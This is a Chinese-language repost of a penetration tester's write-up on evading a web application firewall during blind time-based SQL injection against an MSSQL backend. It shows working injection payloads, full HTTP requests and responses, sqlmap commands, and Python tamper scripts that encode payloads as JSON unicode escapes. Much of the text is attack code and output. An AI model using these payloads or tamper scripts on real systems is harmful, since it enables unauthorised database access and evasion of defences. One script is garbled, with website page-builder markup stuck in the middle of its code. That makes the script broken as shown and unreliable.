点击上方蓝字“Ots安全”一起玩耍
SQLi 识别
用于识别此盲 SQLi 的特定有效负载如下:
‘;WAITFOR DELAY ’0:0:5’--
如果服务器易受攻击,由于易受攻击的 SQL 语句被延迟,请求将需要大约 5 秒的时间才能响应。我最初在使用Burp Suite进行模糊测试时发现了我的特定漏洞,但是有效载荷可以在各种列表和工具中找到。此特定注入位于 HTTP 请求的 JSON 正文中。更具体地说,注入位于 JSON 对象的键/值对的值中,如下所示:
{"id":"13269549’;WAITFOR DELAY ’0:0:5’--"}
在识别出注入后,我兴奋地启动了sqlmap来自动化利用。我最喜欢从 Burp Suite 转向 sqlmap 的方法是将请求复制到文本文件并用“*”标记注入点(确保删除任何现有的有效负载)。因此,前面的 HTTP 正文示例如下所示:
{"id":"13269549*"}
接下来,我像这样将请求传递给 sqlmap map,其中 request.txt 是我将请求复制到的文本文件:
sqlmap -r request.txt
如果 sqlmap 仍然难以识别注入,您可以指定数据库管理系统(–dbms MSSQL),在这种情况下我们知道是 MSSQL,因为“等待延迟”功能是 MSSQL 独有的。如果 sqlmap 仍然无法识别注入,我们可以指定技术(--technique T ),在这种情况下是基于时间的。Sqlmap 是一个了不起的枚举工具,因此值得努力让它工作。
此时,sqlmap 看到了我的注入,但是,它在尝试任何枚举之前从太多的 HTTP 444 代码中出错。是什么赋予了?我用 -vvvvvvvv 运行了相同的命令(“v”越多越好吗?)以便它显示请求和响应。我本可以将 sqlmap 请求代理到 Burp Suite 以获得相同的洞察力,但我喜欢先尝试详细输出以快速分类问题。在这种情况下,我看到了以下响应:
回复:
HTTP/1.1 444 Unknown
Content-Type: text/html; charset=utf-8
Content-Length: 246
Connection: close
<html><h1>Request Rejected</h1><body>The request was rejected. Please consult with your administrator.</body></html>
服务器有一个 Web 应用程序防火墙 (WAF),它正在拒绝请求。我能够使用 wafw00f进行确认。:(
WAF分析
WAF 本质上是位于用户和服务器之间的代理;他们寻找并随后阻止被认为是恶意的流量。为了绕过 WAF,我们必须像 WAF 一样思考。让我们首先查看 WAF 捕获的有效载荷之一(简化)并了解它在做什么:
‘; IF SUBSTRING(@@SERVERNAME,1,1)=’A’ WAITFOR DELAY ‘0:0:5’--
这是用于基于时间的 SQL 注入的经典有效负载。它试图通过一次猜测一个字符来确定所需的信息。在这种情况下,我们试图枚举数据库服务器的主机名。有效负载使用“子字符串”来获取@@SERVERNAME 的第一个字符,这是 MSSQL 用来存放主机名的变量。然后它使用“IF”将第一个字符与字母“A”进行比较。如果是字母“A”,请求将延迟 5 秒。否则它会立即返回。使用这种方法,sqlmap 可以发送大量请求,每个请求猜测不同的字符。一个请求将被延迟,这将识别第一个字符是什么。然后它会执行下一个字符,依此类推。
所以我们已经知道WAF允许“WAITFOR DELAY”,因为这是我们识别SQLi的方式,而WAF当时没有捕捉到它。我将带有有效负载的完整请求加载到 Burp Suite 的转发器中。我建立了一个基本案例,其中 WAF 捕获了请求(444 错误),如下所示:
要求:
POST /id HTTP/1.1
Accept: application/json
Content-Type: application/json; charset=utf-8
Content-Length: 90
Host: example.com
Connection: close
{"id":"00453381' IF SUBSTRING(@@SERVERNAME,1,1)='A' WAITFOR DELAY '0:0:5'--"}
回复:
HTTP/1.1 444 Unknown
Content-Type: text/html; charset=utf-8
Content-Length: 246
Connection: close
<html><head><title>Request Rejected</title></head><body>The requested URL was rejected. Please consult with your administrator.</body></html>
然后我开始删除我认为 WAF 可能认为是恶意的关键字。我尝试删除的第一件事是“子字符串”,服务器响应了一个通用应用程序错误(不是 444)。答对了!WAF 让请求通过应用程序服务器,该服务器在 HTTP 正文中出现错误,因为 SQL 语法被破坏并删除了“子字符串”,如下所示:
要求:
POST /id HTTP/1.1
Accept: application/json
Content-Type: application/json; charset=utf-8
Content-Length: 90
Host: example.com
Connection: close
{"id":"00453381' IF (@@SERVERNAME,1,1)='A' WAITFOR DELAY '0:0:5'--"}
回复:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 246
Connection: close
{“error”:“database error”}
我现在需要以某种方式混淆“子字符串”,以便 WAF 无法识别它,但应用服务器仍然可以解释它。输入 sqlmap 篡改脚本。Sqlmap 本身在发送之前不会对有效负载进行混淆。篡改脚本是一种在发送有效负载之前对其进行转换的方法。Sqlmap 附带了一些不同的,如它的安装目录(kali 中的 /usr/share/sqlmap/tamper)或它的github上所见. 我找到了一些关于 MSSQL 使用哪些脚本的建议。我试了一下,果然他们绕过了 WAF,但是,他们破坏了 SQL 的语法,并且 sqlmap 的枚举无法识别它。我尝试了为 MSSQL 建议的篡改脚本的不同组合,但它们不起作用。也许它与 JSON 对象有关?嗯嗯嗯。
绕过识别
为了找到一个不会破坏 SQL 语法的绕过方法,我的同事 Matt South 建议在数据到达 SQL 引擎之前考虑一下什么会触及数据。我首先想到的是网络服务器,但我并没有很快达到任何好的结果。这时候我想到了 JSON 解析器。有些东西必须分解 JSON 对象并将其中的一部分交给 SQL 引擎。我查看了JSON RFC并发现了 unicode 转义。它提到“u”可用于在 JSON 中指定 HEX 中的 unicode。我回到 Burp Suite 的中继器并将“子字符串”更改为它的 JSON unicode 转义表示:“u0053u0055u0042u0053u0054u0052u0049u004eu0047”。它绕过了 WAF,应用程序没有出错,如下所示:
要求:
POST /id HTTP/1.1
Accept: application/json
Content-Type: application/json; charset=utf-8
Content-Length: 90
Host: example.com
Connection: close
{"id":"00453381' IF u0053u0055u0042u0053u0054u0052u0049u004eu0047(@@SERVERNAME,1,1)='H' WAITFOR DELAY '0:0:5'--"}
回复:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 246
Connection: close
{“status”:“not found”}
注意:响应时间约为 5 秒,这告诉我们字母猜测 ('H') 是正确的!
是的!接下来,我将请求发送到 Burp Suite 的 Intruder,以便我可以快速尝试大量字符。一个字符按预期延迟了!旁路有效!在我意识到手动执行此操作不可行之前,我手动识别了主机名的更多字符。我需要制作一个篡改脚本,以便 sqlmap 可以自动执行该过程。
篡改脚本
Sqlmap 的使用指南提供了制作篡改脚本的模板。我制作的第一个脚本如下所示:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload,**kwargs):
retVal = payload.replace("SUBSTRING","u0053u0055u0042u0053u0054u0052u0049u004eu0047")
return retVal
它使用 python 的字符串替换功能来执行替换。这个脚本非常适合枚举主机名,但是当我在 sqlmap 中尝试了其他一些枚举选项时,WAF 又开始捕捉东西了。我进行了几轮识别 WAF 捕获的内容,替换为 JSON unicode 转义表示,并重新运行 sqlmap 才发现 WAF 正在捕获其他内容。在这一点上,我决定将我的方法从替换已知捕获的关键字更改为仅对整个有效负载进行编码。我编写了以下新脚本:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
line = payload.encode("hex")
n=2
groups = [fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"] for i in range(0, len(line), n)]
full = ''
for x in groups:
full = full + "u00" + x
retVal = full
return retVal
此脚本将整个有效负载转换为十六进制,将十六进制块分成 2 个字符部分,然后在每个部分的前面添加“u00”。这最终将整个有效负载转换为 JSON unicode 转义表示。有效载荷又长又丑,但从那时起,我对 WAF 不再有任何问题,并且 sqlmap 能够不受限制地运行!下面显示了使用我的篡改脚本后来自 sqlmap 的流量是什么样的:
要求:
POST /id HTTP/1.1
Accept: application/json
Content-Type: application/json; charset=utf-8
Content-Length: 521
Host: example.com
Connection: close
{"id":"00453381u0027u003Bu0049u0046u0028u0055u004Eu0049u0043u004Fu0044u0045u0028u0053u0055u0042u0053u0054u0052u0049u004Eu0047u0028u0028u0053u0045u004Cu0045u0043u0054u0020u0049u0053u004Eu0055u004Cu004Cu0028u0043u0041u0053u0054u0028u0047u0020u0041u0053u0020u004Eu0056u0041u0052u0043u0048u0041u0052u0028u0034u0030u0030u0030u0029u0029u002Cu0043u0048u0041u0052u0028u0033u0032u0029u0029u0020u0046u0052u004Fu004Du0020u0028u0053u0045u004Cu0045u0043u0054u0020u0047u002Cu0020u0052u004Fu0057u005Fu004Eu0055u004Du0042u0045u0052u0028u0029u0020u004Fu0056u0045u0052u0020u0028u004Fu0052u0044u0045u0052u0020u0042u0059u0020u0028u0053u0045u004Cu0045u0043u0054u0020u0031u0029u0029u0020u0041u0053u0020u004Cu0049u004Du0049u0054u0020u0046u0052u004Fu004Du0020u0063u0061u0074u0073u002Eu0064u0062u006Fu002Eu006Bu0069u0074u0074u0065u006Eu0073u0029u0078u0020u0057u0048u0045u0052u0045u0020u004Cu0049u004Du0049u0054u003Du0031u0029u002Cu0031u002Cu0031u0029u0029u003Eu0038u0031u0037u0032u0039u0037u0029u0020u0057u0041u0049u0054u0046u004Fu0052u0020u0044u0045u004Cu0041u0059u0020u0027u0030u003Au0030u003Au0032u0027u002Du002D"}
我已将我的篡改脚本上传到我的 github:jsonescape.py
https://github.com/ZonkSec/json_escape
在完成所有工作并准备写这篇博文之后,我最终发现现有的篡改脚本(不建议用于 MSSQL,但在这种情况下由于 JSON 解析器而工作)能够执行绕过。它被称为charunicodeescape.py。不过,我并不后悔。没有开箱即用的绕过迫使我更加努力,最终给了我分析和绕过 WAF 的经验,否则我不会有。
谢谢阅读!我希望你不仅学会了一个简洁的 WAF 旁路,而且还学会了寻找新的和独特的旁路的方法![/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]
原文始发于微信公众号(Ots安全):使用 JSON Unicode 转义序列绕过 WAF
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论